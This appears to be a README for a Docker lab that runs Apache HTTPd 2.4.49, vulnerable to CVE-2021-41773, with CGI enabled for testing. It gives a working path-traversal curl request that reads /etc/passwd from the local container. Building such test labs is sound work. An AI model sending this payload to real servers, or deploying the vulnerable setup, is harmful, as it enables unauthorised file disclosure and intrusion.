CVE-2021-41773 Playground

This is a small Docker recipe for setting up a Debian bookworm based container with an instance of the Apache HTTPd (2.4.49) that is vulnerable to CVE-2021-41773.

CGI has been explicitly enabled so it can be used to test/verify Local file Disclosure behavior as well as Remote Command Execution behavior.

Usage

$ docker-compose build && docker-compose-up

Local file disclosure

$ curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
